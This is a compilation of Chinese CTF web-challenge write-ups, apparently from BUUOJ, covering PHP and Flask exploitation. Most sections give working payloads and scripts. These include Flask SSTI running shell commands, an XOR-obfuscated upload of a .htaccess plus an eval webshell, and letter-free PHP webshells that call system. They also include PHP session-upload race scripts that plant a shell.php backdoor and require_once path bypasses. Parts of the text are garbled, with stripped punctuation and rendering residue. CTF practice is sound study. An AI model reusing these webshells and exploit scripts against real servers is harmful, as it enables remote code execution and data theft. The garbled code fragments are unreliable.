finalUrlurlunsplit(parts).split( )[0] 使用 urlunsplit 将URL部分重新组合成一个完整的URL。 去掉URL中的空格如果有的话 hostparse.urlparse(finalUrl).hostname if host suctf.cc: return True else: return False if __name____main__: get_unicode()只需要用其中任意一个去读取文件就可以了比如http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?urlfile://suctf.c%E2%84%82/…/…/…/…/…/etc/passwd先读一下etc/passwd题目提示我们是nginx所以我们去读取nginx的配置文件nginx一些文件存放的地方配置文件存放目录/etc/nginx主配置文件/etc/nginx/conf/nginx.conf管理脚本/usr/lib64/systemd/system/nginx.service模块/usr/lisb64/nginx/modules应用程序/usr/sbin/nginx程序默认存放位置/usr/share/nginx/html日志默认存放位置/var/log/nginx配置文件目录为/usr/local/nginx/conf/nginx.conf这里读的路径是 /usr/local/nginx/conf/nginx.confhttp://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?urlfile://suctf.c%E2%84%82/…/…/…/…/…//usr/local/nginx/conf/nginx.conf[HarekazeCTF2019]encode_and_encode进去有个源代码代码审计一波?php error_reporting(0); if (isset($_GET[source])) { show_source(__FILE__); exit(); //这里有exit()因此在进行测试时应删除URL后的source参数 } function is_valid($str) { $banword [ // no path traversal - 防止目录穿越 \.\., // no stream wrapper - 过滤掉常见伪协议 (php|file|glob|data|tp|zip|zlib|phar):, // no data exfiltration - 过滤掉‘flag’关键词 flag ]; $regexp / . implode(|, $banword) . /i; //正则匹配违禁词 if (preg_match($regexp, $str)) { //对传入函数的字符进行检测 return false; } return true; } $body file_get_contents(php://input); //变量body利用php://input伪协议获取post数据 $json json_decode($body, true); //变量body在进行json解码后赋值给变量json if (is_valid($body) isset($json) isset($json[page])) { //对body内容进行过滤检测、检测json中是否存在page参数 - 意味着我们的payload应传递给page参数 $page $json[page]; $content file_get_contents($page); //读取page中文件的内容并赋值给content - 到这里就可以确定是一个文件包含漏洞了 if (!$content || !is_valid($content)) { //对content内容进行过滤检测 $content pnot found/p\n; } } else { $content pinvalid request/p; } // no data exfiltration!!! $content preg_replace(/HarekazeCTF\{.\}/i, HarekazeCTF{lt;censoredgt;}, $content); //如果直接返回明文Flag则会替换掉Flag中的内容 - 这里很明显需要对返回的内容进行加密不难想到利用php://filter中的流控制器进行数据编码 echo json_encode([content $content]); //输出content中的内容即输出文件内容猜测到本题是需要利用php://filter伪协议来读取文件的难点在于绕过is_valid()这一检测函数于是引出了json编码数据中的一个小Trick\uXXXX可以在JSON中转义字符例如A与\u0041等效也就是说我们可以将is_valid()中ban掉的关键词利用16进制的Unicode编码进行转义从而实现绕过检测首先构造读取/flag文件内容的payloadphp://filter/convert.base64-encode/resource/flag然后将过滤的关键词“php”与“flag”进行编码得到\u0070\u0068\u0070://filter/convert.base64-encode/resource/\u0066\u006c\u0061\u0067之后构造json数据包{page:\u0070\u0068\u0070://filter/convert.base64-encode/resource/\u0066\u006c\u0061\u0067}将json数据利用post方式发送即可[网鼎杯 2020 半决赛]AliceWebsite题目直接给了网站源码分析index.php文件包含,上面的代码并没有任何限制,可以利用可控变量action来访问flag一层一层尝试即可找到flag 第三层找到了[b01lers2020]Welcome to Earth看源码发现有chase和die文件抓个包看看有一个leftt文件访问一下又有个shoot文件door文件发现check_door函数和door.js文件又发现了open文件 打开发现open_sesame.js文件打开open_sesame.js文件 发现fight文件发现/static/js/fight.js文件打开/static/js/fight.js文件找到flag提示以为是执行scramble函数获取flag值但不是应该是对字典的元素进行排列组合from itertools import permutations flag [{hey, _boy, aaaa, s_im, ck!}, _baa, aaaa, pctf] item permutations(flag) for i in item: k .join(list(i)) if k.startswith(pctf{hey_boys) and k[-1] }: print(k)看起来最正常的一般就是flag[红明谷CTF 2021]write_shell还是代码审计利用点应该就是利用file_get_contents函数写shell获取我们需要的信息在此之前我们还需要找到要写入shell的文件路径这时我们可以发现可以通过?actionpwd进行查看这题把php给ban掉了因为php的代码开始标签是?php这样就导致我们没办法进行php脚本的写入php标签的php被过滤可以换用短标签? code?相当于,至于;被过滤并不用单行因为?对于一组PHP代码中最后一句起到替代;的作用所以我们可以构造如下payload?actionuploaddata接下来列下根目录至于空格被过滤有很多方法这里采用%09来替代制表符\t的URL编码?actionuploaddata[CISCN2019 华东南赛区]Double Secret提示欢迎找秘密直接后面加Secret 但s要小写这句话意思是让我们传参来解密 随便输点报错了 源码也泄露了首先判断你是不是为空如果是空的参数则返回一段话就是我们刚进页面看到的内容如果你传入了参数那么它就会进行加密可以看到是RC4加密而且还泄露了密钥密钥就是“HereIsTreasure”而且通过报错我们了解到这是flask的模板而且python的版本是2.7的那么我们可以利用flask的模板注入执行命令只不过需要进行RC4加密显示尝试{{7*7}}回显49证明存在SSTI接着先随便使用一个payloadpython{{config.__class__.__init__.__globals__[os].popen(ls).read()}}payload:secretLhQZVqUJDWds0csvb73uyesa3qIbel8A4UHthzzDeAhhE/XBOIX20CdgvEqM/MKqq1DYiqsJn/QdgbWvEsVvd1Zp1Q发现成功执行没有任何过滤然后依次是{{config.__class__.__init__.__globals__[os].popen(ls /).read()}}{{config.__class__.__init__.__globals__[os].popen(cat /flag.txt).read()}}.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92[SUCTF 2019]EasyWeb正则分析\x00: ASCII码为0的字符-: 连字符0-9: 数字0到9A-Za-z: 大小写字母: 单引号、双引号: 反引号~_.,|: 波浪线、下划线、符号、逗号、竖线、等于号[\x7F]: ASCII码为127及以上的字符常用于表示扩展的ASCII字符集其中 i 表示忽略大小写。因此这个正则表达式可以匹配包括数字、字母、符号以及一些特殊字符例如扩展ASCII字符集中的字符。preg_match的绕过在这里能想到的只有通过异或绕过只有^没有被过滤~|都被过滤php的eval()函数在执行时如果内部有类似abc^def的计算式那么就先进行计算再执行。例如url?a{_GET}{b}();bphpinfo,也就是?a${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();%ffphpinfo,在传入后实际上为${????^????}{?}();但是到了eval()函数内部就会变成${_GET}{?}();成功执行。?php $l ; $r ; $argv str_split(_GET); for($i 0; $i count($argv); $i) { for($j 0; $j 255; $j) { $k chr($j) ^ chr(255); if($k $argv[$i]) { if($j 16) { $l . %ff; $r . %0 . dechex($j); } else { $l . %ff; $r . % . dechex($j); } break; // 找到就跳出内层循环 } } } echo l . $l . PHP_EOL; echo r . $r . PHP_EOL; l %ff%ff%ff%ff r %a0%b8%ba%ab${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();%ffphpinfo传入后实际为?_${_GET}{%ff}();%ffphpinfo最终利用那个文件上传函数${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();%ffget_the_flag非预期解直接搜flag拿到过滤了ph后缀文件里不能有?而且必须是图片文件过滤了ph后缀一般做法是传.htaccess或者在有php文件的情况下传.user.ini但是不满足该目录下有php文件这里文件上传的目录不可控企鹅不可回退遍历因此考虑上传.htaccess文件和一个图片后缀的webshellexif_imagetype(PHP 4 4.3.0, PHP 5, PHP 7)exif_imagetype - 确定图像的类型**exif_imagetype**读取图像的第一个字节并检查其签名。这里在.htaccess文件中直接添加GIF89a会影响该文件的作用导致失败用以下两种方法让我们的.htaccess生效1. #define width 1337 2. #define height 1337 1. 在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加或者使用python的bytes类型) 2. x00x00x8ax39x8ax39 是wbmp文件的文件头 3. .htaccess中以0x00开头的同样也是注释符所以不会影响.htaccess文件内容不能有?一般是用**script languagephp/script来绕过,但是因为这题的PHP版本是7.3.4script languagephp/script**这种写法在PHP7以后就不支持了因此不行。文件上传脚本import requests import base64 htaccess b #define width 1337 #define height 1337 AddType application/x-httpd-php .ahhh php_value auto_append_file php://filter/convert.base64-decode/resource./shell.ahhh ##在shell.ahhh加载完毕后再次包含base64解码后的shell.ahhh成功getshell所以这也就是为什么会出现两次shell.ahhh内容的原因第一次是没有经过base64解密的第二次是经过解密并且转化为php了的 shell bGIF89a12 base64.b64encode(b?php eval($_REQUEST[cmd]);?) url http://dfcea339-b6d8-4b48-99ac-9bfaecda5527.node4.buuoj.cn:81//?_${%86%86%86%86^%d9%c1%c3%d2}{%86}();%86get_the_flag files {file:(.htaccess,htaccess,image/jpeg)} data {upload:Submit} response requests.post(urlurl, datadata, filesfiles) print(response.text) files {file:(shell.ahhh,shell,image/jpeg)} response requests.post(urlurl, datadata, filesfiles) print(response.text)upload/tmp_70579d1796bfdf99d77ae93cf4092361/.htaccessupload/tmp_70579d1796bfdf99d77ae93cf4092361/shell.ahhhopen_basedir的限制我们不能直接访问flag我们需要进行绕过PHP绕过open_basedir列目录的研究 | 离别歌或yijian链接更目录下直接拿到法二上传图片马这里传图片马非常要注意的一点是总字节长度必须是4的倍数保证base64解码成功GIF98abbPD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8上面内容中bb就是为了凑长度的这里千万不要换行虽然换行符也占字节但是实测没有效果大概是因为不是可读字符吧然后依次传入文件直接访问传入的图片马就可以了[GXYCTF2019]StrongestMind这道题按着题目的提示做就可以了计算一千次。在写脚本之前一定要完全理解页面的请求过程。第一次发送get请求计算get请求的返回数据post发送计算结果。post请求后系统会自动返回带有数字的数据类似在post发送结果以后又执行了一次get请求。因此我们在写代码的时候不要再次get请求。知识点保持请求是同一个会话用sessionre.encoding“UTF-8”解决返回的值为乱码eval计算一个表达式import requests,time,re url http://0525568d-6f08-4bb6-8f0d-3b50e1657328.node5.buuoj.cn:81/ req requests.session() #保持会话 getRe req.get(url) #get请求 getRe.encoding UTF-8 #将返回的结果用UTF-8编码不然会返回乱码 reContent re.findall([0-9]* [-*/] [0-9]*,getRe.text) #提取表达式。math和search正则只会匹配一次findall会一直匹配 formula .join(reContent).replace( , ) #提取表达式 comResult eval(formula) #eval执行一个表达式 print(comResult) data {answer:comResult} postRe req.post(url,data)#构造 POST 数据提交答案。 发送 POST 请求提交表单字段 answer结果。 postRe.encoding UTF-8 print(postRe.text)# 打印服务器返回的页面内容查看是否答对 for i in range(1005): #多运行几次避免其中的请求失败 reContent re.findall([0-9]* [-*/] [0-9]*,postRe.text) formula .join(reContent).replace( , ) comResult eval(formula) print(comResult) data {answer:comResult} postRe req.post(url,data) postRe.encoding UTF-8 time.sleep(0.1) #请求太快会被禁掉 print(postRe.text)脚本跑完拿到[SUCTF 2018]GetShell打开网站看源码找到上传页面if($ contentsfile_get_contents(KaTeX parse error: Expected }, got EOF at end of input: …取从表单上传的临时文件的内容。_FILES[“file”][“tmp_name”]是PHP预定义的全局变量存储了上传文件的临时路径。如果成功读取文件其内容将被存储在 $contents变量中然后执行后续代码如果读取失败if语句将不执行任何操作。$ datasubstr(c o n t e n t s , 5 ) ; 从 contents,5); 从contents,5);从contents字符串的第6个字符开始截取数据即忽略前5个字符。这可能是因为文件的前5个字符被认为是元数据或不需要检查的部分。foreach ( $black_char as $ b) {遍历b l a c k c h a r 数组中的每个元素 black_char数组中的每个元素blackc​har数组中的每个元素black_char应该是一个包含黑名单字符的数组。if (stripos( $data, $ b) ! false){对于d a t a 中的每一项黑名单字符 data中的每一项黑名单字符data中的每一项黑名单字符b使用stripos()函数查找它在d a t a 中的位置。 s t r i p o s ( ) 函数不区分大小写地搜索字符串如果找到 data中的位置。stripos()函数不区分大小写地搜索字符串如果找到data中的位置。stripos()函数不区分大小写地搜索字符串如果找到b函数将返回非false值表示找到了匹配项。die(“illegal char”);如果在 $data中找到了黑名单字符程序将终止执行并输出illegal char表示有非法字符存在。}结束if语句。}结束foreach循环。呢么我们可以先尝试上传一个空文件去看一下它是什么类型的题目发现是直接存储为php文件了呢么这个题就清晰很多了也就是我们要传入木马上去经过测试他题目是把数字和字母还有?给ban掉的但是?可有可无也就是说我们只要就?php就可以正常解析和运行代码中文脚本?php header(Content-Type: text/html; charsetutf-8);//防止页面出现乱码 $str 当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候我知道此次出行的目的已经完成了我要开始收拾行李明天早上离开这里。前几天有人问我大学四年结束了你也不说点什么乌云发生了一些事情所有人都缄默不言你也是一样吗你逃到南方难道不回家了吗当然要回家我只是想找到我要找的答案。其实这次出来一趟很累晚上几乎是热汗淋漓回到住处厦门的海风伴着妮妲路过后带来的淅淅沥沥的小雨也去不走我身上任何一个毛孔里的热气。好在旅社的生活用品一应俱全洗完澡后我爬到屋顶。旅社是一个老别墅说起来也不算老比起隔壁一家旧中国时期的房子要豪华得多竖立在笔山顶上与厦门岛隔海相望。站在屋顶向下看灯火阑珊的鼓浪屿街市参杂在绿树与楼宇间依稀还可以看到熙熙攘攘的游客。大概是夜晚渐深的缘故周围慢慢变得宁静下来我忘记白天在奔波什么直到站在这里的时候我才知道我寻找的答案并不在南方。当然也不在北方北京的很多东西让我非常丧气包括自掘坟墓的中介和颐指气使的大人们北京也有很多东西让我喜欢我喜欢颐和园古色古香的玉澜堂我喜欢朝阳门那块“永延帝祚”的牌坊喜欢北京鳞次栉比的老宅子和南锣鼓巷的小吃。但这些都不是我要的答案我也不知道我追随的是什么但想想百年后留下的又是什么想想就很可怕。我曾经为了吃一碗臭豆腐坐着优步从上地到北海北兴冲冲地来到那个垂涎已久的豆腐摊前用急切又害羞的口吻对老板说来两份量的臭豆腐。其实也只要10块钱吃完以后便是无与伦比的满足感。我记得那是毕业设计审核前夕的一个午后五月的北京还不算炎热和煦的阳光顺着路边老房子的屋檐洒向大地但我还是不敢站在阳光下春天的燥热难耐也绝不输给夏天。就像很多人冷嘲热讽的那样做这一行谁敢把自己完全曝光甭管你是黑帽子白帽子还是绿帽子。生活在那个时候还算美好我依旧是一个学生几天前辞别的同伴还在朝九晚五的工作一切都照旧运行波澜不远走千里吃豆腐这种理想主义的事情这几年在我身上屡屡发生甚至南下此行也不例外。一年前的这个时候我许过一个心愿在南普陀我特为此来还愿。理想化、单纯与恋旧其中单纯可不是一个多么令人称赞的形容很多人把他和傻挂钩。“你太单纯了你还想着这一切会好起来”对呀在男欢女爱那些事情上我可不单纯但有些能让人变得圆滑与世故的抉择中我宁愿想的更单纯一些。去年冬天孤身一人来到北京放弃了在腾讯做一个安逸的实习生的机会原因有很多也很难说。在腾讯短暂的实习生活让我记忆犹新我感觉这辈子不会再像一个小孩一样被所有人宠了这些当我选择北漂的时候应该就要想到的。北京的冬天刺骨的寒冷特别是2015年的腊月有几天连续下着暴雪路上的积雪一踩半步深咯吱咯吱响周遭却静的像深山里的古刹。我住的小区离公司有一段距离才下雪的那天我甚至还走着回家。北京的冬天最可怕的是寒风走到家里耳朵已经硬邦邦好像一碰就会碎在我一头扎进被窝里的时候我却慢慢喜欢上这个古都了。我想到《雍正皇帝》里胤禛在北京的鹅毛大雪里放出十三爷那个拼命十三郎带着令牌取下丰台大营的兵权保了大清江山盛世的延续与稳固。那一夜北京的漫天大雪绝不逊于今日而昔人已作古来者尚不能及多么悲哀。这个古都承载着太多历史的厚重感特别是下雪的季节我可以想到乾清宫前广场上千百年寂寞的雕龙与铜龟屋檐上的积雪高高在上的鸱吻想到数百年的沧桑与朝代更迭。雪停的那天我去了颐和园我记得我等了很久才摇摇摆摆来了一辆公交车车上几乎没有人司机小心翼翼地转动着方向盘在湿滑的道路上缓慢前行。窗外白茫茫一片阳光照在雪地上有些刺眼我才低下头。颐和园的学生票甚至比地铁票还便宜。在昆明湖畔眺望湖面微微泛着夕阳霞光的湖水尚未结冰踩着那些可能被御碾轧过的土地滑了无数跤最后只能扶着湖边的石狮子叹气为什么没穿防滑的鞋子。昆明湖这一汪清水见证了光绪皇帝被囚禁十载的蹉跎岁月见证了静安先生誓为先朝而自溺也见证了共和国以来固守与开放的交叠。说起来家里有本卫琪著的《人间词话典评》本想买来瞻仰一下王静安的这篇古典美学巨著没想到全书多是以批判为主。我自诩想当文人的黑客其实也只是嘴里说说真到评说文章是非的时候我却张口无词。倒是誓死不去发这点确实让我无限感慨中国士大夫的骨气真的是从屈原投水的那一刻就奠定下来的。有句话说古往今来中国三大天才死于水其一屈原其二李白其三王国维。卫琪对此话颇有不服不纠结王国维是否能够与前二者相提并论我单喜欢他的直白能畅快评说古今词话的人也许无出其右了吧。人言可畏、人言可畏越到现代越会深深感觉到这句话的正确看到很多事情的发展往往被舆论所左右就越羡慕那些无所畏惧的人不论他们是勇敢还是自负。此间人王垠算一个网络上人们对他毁誉参半但确实有本事而又不矫揉做作放胆直言心比天高的只有他一个了。那天在昆明湖畔看过夕阳直到天空变的无比深邃我才慢慢往家的方向走。耳机放着后弦的《昆明湖》不知不觉已经十年了不知道这时候他有没有回首望望自己的九公主和安娜是否还能够“泼墨造一匹快马追回十年前姑娘”。后来感觉一切都步入正轨学位证也顺利拿到我匆匆告别了自己的大学。后来也遇到了很多事事后有人找我很多人关心你少数人可能不是但出了学校以后又有多少人和事情完全没有目的呢我也考虑了很多去处但一直没有决断倒有念怀旧主也有妄自菲薄之意我希望自己能做出点成绩再去谈其他的所以很久都是闭门不出琢磨东西。来到厦门我还了一个愿又许了新的愿望希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿订了一间安静的房子只有我一个人。在这里能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声远处的喧嚣早已烟消云散即使这只是暂时的。站在屋顶的我喝下杯中最后一口水。清晨背着行李我乘轮渡离开了鼓浪屿这是我第二次来鼓浪屿谁知道会不会是最后一次。我在这里住了三天用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头何以为之”“世受国恩死生系之。”; $payload $_POST[1]; $result ; $num 0; for ($i 0; $i mb_strlen($str, utf-8); $i) { $st mb_substr($str, $i, 1, utf-8);//每次取一个 $a ~($st); $b $a[1];//汉字的第一位 if ($b $payload[$num] $num ! strlen($payload)) { $num; $result . $st; } if ($num strlen($payload)) { break; } } echo $result;一个实用的异或脚本#blacklist列表中的字符在生成的拼接字符串中不会被使用,除了部分是被过滤掉的字符其余的如,等字符考虑可能会导致闭合等问题暂列入 #如果有其他的要求可以对blacklist列表进行删改 blacklist[,,,\\0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z] #不同于取反,一个目标字符串使用异或的方式可以获大量的可用拼接字符串,这里只取了1种组合的拼接字符串 #如果需要获得更多拼接字符串查看该函数中的result列表 def yiHuo(string): global operationEffient global blacklist operationEffientFalse result[] finalstr^ rawstrstring for i in range(0,len(rawstr)): result.extend([[]]) for k in range(0,len(rawstr)): for i in range(32,255): if(chr(i) not in blacklist): for j in range(32,255): if(chr(j) not in blacklist): if(i^jord(rawstr[k])): result[k].extend([[hex(i).replace(0x,%),hex(j).replace(0x,%)]]) #在这里往下的函数部分,result列表均是可用的(已填充了获得的拼接字符串) for i in range(0,len(result)): if(len(result[i])0): return(该字符在现有黑名单下无法拼接出-%s%(rawstr[i])) for i in range(0,len(rawstr)): finalstrfinalstr[:finalstr.find(^,0)-1]result[i][0][0]finalstr[finalstr.find(^,0):] finalstrfinalstr[:finalstr.rfind(,0)]result[i][0][1]finalstr[finalstr.rfind(,0):] return(finalstr) def quFan(string): global operationEffient global blacklist operationEffientFalse result[] finalstr~ rawstrstring for i in range(0,len(rawstr)): result.extend([[]]) for k in range(0,len(rawstr)): for i in range(32,255): if(chr(i) not in blacklist and chr(int(bin(~i 0xFF)[2:],2))rawstr[k]): result[k].extend([hex(i).replace(0x,%)]) for i in range(0,len(result)): if(len(result[i])0): return(该字符在现有黑名单下无法拼接出-%s%(rawstr[i])) print(result) for i in range(0,len(rawstr)): finalstrfinalstr[:finalstr.rfind(,0)]result[i][0]finalstr[finalstr.rfind(,0):] return(finalstr) while(True): operationEffientTrue targetinput(请输入待转换字符\n) while(operationEffient): operationinput(请选择操作\n1-使用异或拼接\n2-使用取反获得\n) if(operation1): resultyiHuo(target) pass elif(operation2): resultquFan(target) pass else: print(选择的操作无效) continue print(result)上传文件然后截取内容从第六位开始的内容都会赋给data变量再通过变量来进行匹配看所上传的内容中是否有black_char,如果有则返回illegal char一般的思路是上传木马然后蚁剑连接或者直接执行命令但是fuzz之后数字及英文字母都被过滤了这就需要使用特殊的木马构造方式 一些不包含数字和字母的webshell | 离别歌没有过滤的字符有$ ( ) [ ] _ ~ ;?php $_[]; // $__$_.$_; //arrayarray $_($_$__);//$_(arrayarrayarray)明显不相同 false 0 $__($_$_);//$__(arrayarray) 相同返回1 $___ ~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];//system $____ ~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];//_POST $____($$__[_]);//也就是system($_POST[_])构造payload?$_[];$__$_.$_;$_($_$__);$__($_$_);$___~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);命令执行成功flag不在这里但是可以使用env来得到flagenv命令用于显示系统中已存在的环境变量以及在定义的环境中执行指令[WMCTF2020]Make PHP Great Again简单来说这里上面已经使用过文件包含了,所以我们必须想办法绕过require_once只包含一次的验证,从而实现再次包含文件flag.php绕过php源码分析 require_once 绕过不能重复包含文件的限制-安全KER - 安全资讯平台非预期脚本import io import sys import requests import threading host http://f1f8290e-450c-47c9-8dfd-b1bb5f4a2807.node4.buuoj.cn:81/ sessid flag def write(session): while True: f io.BytesIO(ba * 1024 * 50) session.post( host, data{ PHP_SESSION_UPLOAD_PROGRESS: ?php $shell?php eval($_POST[cmd])?;system(ls /);fputs(fopen(shell.php,w),$shell);file_put_contents(shell.php,$shell);echo md5(1);?}, files{file: (a.txt, f)}, cookies{PHPSESSID: sessid} ) def read(session): while True: response session.get(f{host}?file/tmp/sess_{sessid}) # 1的MD5值 if c4ca4238a0b923820dcc509a6f75849b not in response.text: print([]retry) else: print(response.text) sys.exit() with requests.session() as session: t1 threading.Thread(targetwrite, args(session,)) t1.daemon True # 主线程退出时不管子线程是否完成都随主线程退出 t1.start() read(session)漏洞原理PHP 有一个session.upload_progress功能在文件上传时会将进度信息存储在会话文件中。如果攻击者能够控制这个进度信息的内容并且能够访问到会话文件就可以写入恶意代码并执行。基本配置host目标服务器地址sessidPHP 会话 ID这里设置为 “flag”后续会用于构造会话文件路径write 函数这是一个无限循环函数不断向服务器发送 POST 请求通过PHP_SESSION_UPLOAD_PROGRESS参数注入 PHP 代码* 创建一个包含eval函数的 Webshell 代码 * 执行ls /命令查看根目录文件 * 尝试将 Webshell 写入到shell.php文件中 * 输出1的 MD5 值作为执行成功的标记 - 上传一个 50KB 的文件内容为 a来触发上传进度机制 - 使用指定的PHPSESSIDCookie确保会话一致read 函数这也是一个无限循环函数不断尝试读取会话文件会话文件路径通常为/tmp/sess_会话ID这里就是/tmp/sess_flag检查响应中是否包含1的 MD5 值c4ca4238a0b923820dcc509a6f75849b如果找到这个标记说明恶意代码已成功执行打印响应内容并退出主程序创建一个线程运行write函数持续发送恶意请求主线程运行read函数持续检查结果使用daemonTrue确保主线程退出时子线程也随之退或import io import requests import threading sessid bbbbbbb data {cmd:system(cat flag.php);} def write(session): while True: f io.BytesIO(ba * 1024 * 50) resp session.post( hhttp://818fd4fe-59c7-4af5-9a9c-3b366f889fb9.node5.buuoj.cn:81/, data{PHP_SESSION_UPLOAD_PROGRESS: ?php eval($_POST[cmd]);?}, files{file: (1.txt,f)}, cookies{PHPSESSID: sessid} ) def read(session): while True: resp session.post(http://818fd4fe-59c7-4af5-9a9c-3b366f889fb9.node5.buuoj.cn:81/?file/tmp/sess_sessid,datadata) if 1.txt in resp.text: print(resp.text) event.clear() else: print([]retry) if __name____main__: eventthreading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(targetwrite,args(session,)).start() for i in range(1,30): threading.Thread(targetread,args(session,)).start() event.set()与上一个脚本的差异采用多线程并发方式同时启动多个读写线程提高攻击成功率恶意代码更简洁仅保留eval函数作为后门命令执行是通过后续请求的cmd参数动态传递的而不是在注入代码时固定写死使用线程事件进行简单的线程同步控制预期PHP最新版的小Trick,require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含/proc/[pid]记录了系统运行的信息状态而/proc/self指的是当前进程(自身进程)的pid就类似于类里面的this/proc/self/root/是指向/的符号链接?filephp://filter/convert.base64-encode/resource/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php或?filephp://filter/convert.base64-encode/resource/nice/../../proc/self/cwd/flag.php/nice/../../通过../向上跳转两级目录抵消/nice的影响实际相当于回到了/nice的上一级目录。/proc/self/cwd/Linux 系统中/proc/self/cwd是一个符号链接指向当前进程这里指 Web 服务器进程的工作目录即网站根目录。最终路径等价于网站根目录/flag.php即目标文件的真实位置[GKCTF 2021]easycms提示弱密码扫一下后台有个admin.phpadmin 12345登陆上编辑模板处可以添加php头但是需要在system的tmp目录下有某个txt才会生效告诉我们要创建一个wqlc.txt文件利用名称进行目录穿越…/…/…/…/…/…/system/tmp/xdwe不知道为什么在这不行法二点击设计--主题然后随便选择一个主题点击自定义有一个导出主题随便输点东西会下载一个文件复制文件链接http://7f13aae6-7f23-4ed1-9971-d4717701e269.node5.buuoj.cn:81/admin.php?muifdownloadthemethemeL3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA发现theme base64加密解密得到 /var/www/html/system/tmp/theme/default/1.zip猜测可能存在任意文件下载将theme后面的内容改成将/flagbase加密后的字符串得到http://7f13aae6-7f23-4ed1-9971-d4717701e269.node5.buuoj.cn:81/admin.php?muifdownloadthemethemeL2ZsYWc010打开也行下载后是个压缩包将文件扩展名改成.txt或者直接用notepad打开得到flagEasyBypass题目已经给出提示flag在/flag中,所以我们只需要考虑如何绕过正则匹配即可comm1过滤的少我们从这里下手用tac代替cat用fla?代替flag(?代表一个字符)构造payload?comm1index.php;tac /fla?;comm21或?comm1\nlcomm2/fla?\nl会被解析为nl命令读取文件并显示行号[MRCTF2020]套娃查看源码发现信息对代码进行分析$SERVER[‘QUERY_STRING’]指的是查询的字符串即地址栏?之后的部分%5f指的是那就是查询的字符串中不能存在_php在解析字符串时会把点和空格解析成_因此第一个判断可以使用payloadb.u.p.t或bupt来进行绕过第二个判断要求bupt!23333但是正则又要求是23333因此这里采用%0a进行绕过因为正则匹配中’^‘和’ $代表的是行的开头和结尾,所以能利用换行绕过最终获得secrettw.php绕过利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户打开secrettw.php显示仅允许本地访问那就需要修改下访问地址为127.0.0.1右键检查源代码发现jsfuck代码放到console口进行执行获得提示信息在源码发现jsfuck代码直接丢到控制台解析提示post传入Merak传过去拿到源码除了上面提到的限制ip为127.0.0.1用Client-ip:127.0.0.1还需要file_get_contents($ _GET[‘2333’]) ‘todat is a happy day’这里可以采用伪协议来绕过然后还有change(G E T [ ′ f i l e ′ ] ) 使其等于 f l a g . p h p c h a n g e ( ) 函数主要就是这一句 c h r ( o r d ( _GET[file])使其等于flag.phpchange()函数主要就是这一句chr ( ord (G​ET[′file′])使其等于flag.phpchange()函数主要就是这一句chr(ord(v[ $i]) $i_2 )输出结果为每个字符串转换成asii码之后i_2生成新的asii码然后转成字符所以我们就需要反过来因为change()函数最终返回的是flag.php那我们就需要将flag.php中得每一位进行转换成asii码然后减去i*2在生成字母最后在进行base64加密即可得到最终输入file得结果所以最终payload/secrettw.php?2333data://text/plain,todatisahappydayfileZmpdYSZmXGI然后抓包修改下地址信息拿到falg[红明谷CTF 2021]write_shell打开直接给源码在此之前我们还需要找到要写入shell的文件路径这时我们可以发现可以通过?actionpwd进行查看sandbox/70579d1796bfdf99d77ae93cf4092361/index.php这题由于写入的文件是后缀名为php的也就是说我们的语法就得满足php并且达到命令执行的点。但这题把php给ban掉了因为php的代码开始标签是?php这样就导致我们没办法进行php脚本的写入这就很难受了。好在还有个php的短标签可以使用。尝试了一下可以成功写入这个相当于,空格被过滤了用%09代替至于;被过滤并不用单行因为?对于一组PHP代码中最后一句起到替代;的作用PHP 支持一个执行运算符反引号。注意这不是单引号PHP 将尝试将反引号中的内容作为 shell 命令来执行并将其输出信息返回即可以赋给一个变量而不是简单地丢弃到标准输出。使用反引号运算符的效果与函数shell_exec() 相同。注意:关闭了 shell_exec() 时反引号运算符是无效的。与其它某些语言不同反引号不能在双引号字符串中使用?actionuploaddata?actionuploaddata?actionuploaddata[网鼎杯 2020 